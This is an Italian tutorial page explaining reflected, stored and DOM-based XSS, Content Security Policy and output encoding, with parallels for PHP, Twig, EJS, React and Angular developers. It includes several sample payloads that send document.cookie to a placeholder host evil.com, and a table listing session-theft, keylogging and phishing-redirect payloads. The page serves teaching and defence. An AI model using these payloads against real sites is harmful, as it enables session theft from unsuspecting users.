Skip to main content
  1. Concetti/

XSS - Cross-Site Scripting Reflected, Stored, DOM e CSP

Alessio Barnini
Author
Alessio Barnini
Table of Contents

Mappa XSS
#

XSS (Cross-Site Scripting) e' un attacco in cui l'attaccante riesce a iniettare codice JavaScript malevolo in una pagina web, e quel codice viene eseguito nel browser di altri utenti. Il principio alla base e' semplice: il browser si fida del contenuto che arriva da un sito legittimo, quindi se un attaccante riesce a far includere il suo script in quella pagina, il browser lo eseguira' senza obiezioni.

csp-responsibility-matrix-fig53.webp

Reflected XSS
#

Il tipo piu' comune e il punto di partenza per capire XSS. Il payload viaggia nell'URL o nel corpo del form, il server lo legge e lo include nella risposta HTML senza sanitizzarlo, il browser lo esegue.

Il flusso: l'attaccante costruisce un URL con payload JavaScript (?q=<script>...), convince la vittima a cliccarci (email, phishing, social engineering), il server riflette il valore del parametro nella pagina di risposta senza encoding, il browser interpreta <script> come codice ed esegue il payload.

URL malevolo: https://shop.com/search?q=<script>fetch('https://evil.com/?c='+document.cookie)</script>

Risposta HTML del server (senza output encoding):
<h2>Risultati per: <script>fetch('https://evil.com/?c='+document.cookie)</script></h2>
                    ^^^^ il browser esegue questo ^^^^

Non persiste: lo script non e' memorizzato da nessuna parte. Funziona solo se la vittima clicca esattamente quel link. Questo e' il motivo per cui Reflected XSS richiede social engineering per ogni vittima.

Dev parallel: Hai sicuramente visto il pattern echo $_GET['q'] in PHP legacy. Se il valore viene stampato direttamente in HTML senza htmlspecialchars(), quella riga e' un Reflected XSS garantito. Lo stesso vale per EJS con <%- req.query.q %> in Node: il segno meno signalizza "non escapare", che e' esattamente cio' che vogliamo evitare.

Stored XSS (Persistent)
#

Il payload viene salvato nel database dell'applicazione (un commento, un campo profilo, un messaggio) e viene eseguito nel browser di ogni utente che carica quella pagina. Non richiede che la vittima clicchi un link specifico.

Il flusso: l'attaccante inserisce il payload come contenuto dell'applicazione (commento a un post, campo bio del profilo), il server salva il payload nel database senza sanitizzarlo, ogni utente che carica quella pagina riceve l'HTML con lo script embedded, il browser di ogni visitatore esegue il payload.

Commento inviato dall'attaccante:
Grande articolo! <script>document.location='https://evil.com/?s='+document.cookie</script>

Reso in HTML per ogni visitatore:
<div class="comment">Grande articolo! <script>document.location='https://evil.com/?s='+document.cookie</script></div>

Il motivo per cui Stored XSS e' piu' pericoloso del Reflected: basta compromettere una singola voce nel database per colpire tutti i visitatori futuri, a tempo indeterminato. Un payload in un forum molto frequentato o nel titolo di un prodotto su un e-commerce puo' colpire migliaia di utenti in poche ore.

Dev parallel: In Twig (Symfony), {{ comment }} e' escaped automaticamente. Ma {{ comment|raw }} bypassa completamente l'escaping. Se hai mai scritto |raw per "far funzionare l'HTML" di un utente, quella e' una porta aperta per Stored XSS. Stesso principio in React: JSX auto-escapes tutto, ma dangerouslySetInnerHTML={{ __html: userContent }} disabilita la protezione. Il nome e' scelto apposta per farti riflettere prima di usarlo.

DOM-based XSS
#

La variante piu' insidiosa perche' il server non vede mai il payload malevolo. Il codice JavaScript della pagina stessa legge dati da fonti controllabili dall'attaccante (URL hash #, parametri GET, document.referrer) e li scrive nel DOM senza sanitizzarli.

Il flusso avviene interamente lato client. Il server risponde con una pagina HTML perfettamente innocente che contiene JavaScript che legge location.hash e lo scrive in un elemento della pagina con .innerHTML. L'attaccante costruisce un URL con payload nel fragment (#<img src=x onerror=...>), la pagina si carica (server non vede il payload, era dopo il #), il JS della pagina legge il fragment e lo inietta nel DOM, il browser esegue il payload.

// Codice vulnerabile nella pagina legittima:
document.getElementById('welcome').innerHTML = location.hash.slice(1);

// URL attaccante:
https://app.com/page#<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">

Dev parallel: In NestJS/Express, il DOM-based XSS vive interamente nel frontend. Se stai usando Angular e usi [innerHTML]="userValue", Angular lo sanitizza automaticamente. Ma se passi per un ViewContainerRef manuale o scrivi direttamente nel DOM con vanilla JS (element.innerHTML = route.params.get('name')), la protezione non c'e'. Il sanitizer di Angular non puo' proteggere codice che bypassa il template compiler.

CSP - Content Security Policy
#

La CSP e' un header HTTP che il server invia al browser specificando da quali sorgenti e' autorizzato a caricare script, stili, immagini e altri contenuti. Il browser blocca tutto cio' che non corrisponde alla policy, anche se e' gia' stato iniettato nell'HTML.

La CSP e' la difesa di secondo livello contro XSS: anche se l'output encoding fallisce in un punto e l'attaccante riesce a iniettare <script src="evil.com/payload.js">, il browser controlla la CSP e blocca il caricamento se evil.com non e' nella lista autorizzata.

Content-Security-Policy: default-src 'self'; script-src 'self' cdn.trusted.com

Significato:
- default-src 'self'           → di default, solo risorse dallo stesso dominio
- script-src 'self' cdn...     → script solo da self o da cdn.trusted.com
- script inline bloccati       → <script>alert(1)</script> non viene eseguito

Una CSP forte blocca anche gli script inline (<script> nel corpo HTML) e eval(). Questo e' il principale ostacolo alla configurazione in applicazioni legacy che usano molto JS inline.

Dev parallel: In Symfony puoi aggiungere CSP header tramite symfony/security-bundle o con il middleware nelmio/security-bundle. In NestJS, helmet() imposta una CSP di base con una riga: app.use(helmet()). Per customizzare: helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "cdn.trusted.com"] }}}). Senza helmet, l'app Express/NestJS non manda nessun header di sicurezza — il browser non sa nulla sulle policy.

Output Encoding
#

L'output encoding converte i caratteri HTML speciali in entita' HTML prima di includerli nella risposta. Questo trasforma <script> (codice) in &lt;script&gt; (testo visibile), impedendo che il browser lo interpreti come JavaScript.

La regola e' assoluta: ogni dato che proviene dall'utente o da fonti esterne e che viene incluso nel markup HTML deve essere encodato. Basta dimenticarlo una volta su cento form per aprire una vulnerabilita'.

Input utente:           <script>alert('xss')</script>
Dopo output encoding:   &lt;script&gt;alert('xss')&lt;/script&gt;
Browser mostra:         <script>alert('xss')</script>  ← testo, non codice

Dev parallel: I framework moderni fanno output encoding per default nel template engine. Twig (Symfony): {{ variable }} e' sempre safe, {{ variable|raw }} e' pericoloso. EJS (Node): <%= variable %> e' escaped, <%- variable %> NON lo e' (il segno meno = raw). React: JSX auto-escapa tutto dentro {}. La regola pratica: se stai cercando un modo per "disabilitare l'escaping" in un template, fermati e chiedi se stai aprendo un vettore XSS.

In PHP puro, htmlspecialchars($var, ENT_QUOTES, 'UTF-8') e' sufficiente ma richiede di non dimenticarlo mai. Una singola echo $_POST['name'] senza wrapping basta ad aprire il vettore. E' esattamente la ragione per cui i template engine moderni eseguono l'escaping per default invece di richiedere che lo sviluppatore lo applichi manualmente.

Impatto di XSS
#

XSS permette a un attaccante di eseguire JavaScript arbitrario nel browser della vittima, con accesso a tutto cio' che JavaScript puo' fare in quel contesto di pagina.

I payload piu' comuni per sessioni web application:

ObiettivoPayload tipicoRequisito
Furto sessionefetch('evil.com/?c='+document.cookie)HttpOnly non impostato
Keyloggingdocument.addEventListener('keypress', ...)Qualsiasi XSS
Redirect phishingdocument.location='https://fake-login.com'Qualsiasi XSS
CryptominingImport script miner da CDN esternoCSP assente
CSRF bypassLeggere il token CSRF nascosto nel DOM e usarloXSS + CSRF combinati
Exam trap XSS vs SQLi

XSS = inietta JavaScript che colpisce altri utenti (browser). SQLi = inietta SQL che colpisce il database (server). "Steal other users' cookies" = XSS. "Read unauthorized data from DB" = SQLi. Output encoding difende da XSS, prepared statements difendono da SQLi: non sono intercambiabili.

Exam trap XSS vs CSRF

XSS e CSRF sono diversi ma spesso usati insieme. XSS inietta codice che gira nel browser. CSRF sfrutta la sessione gia' aperta per fare richieste non autorizzate. Lo scenario piu' pericoloso e' XSS che legge il CSRF token nascosto nel form e lo include in una richiesta CSRF costruita dal payload stesso.

Related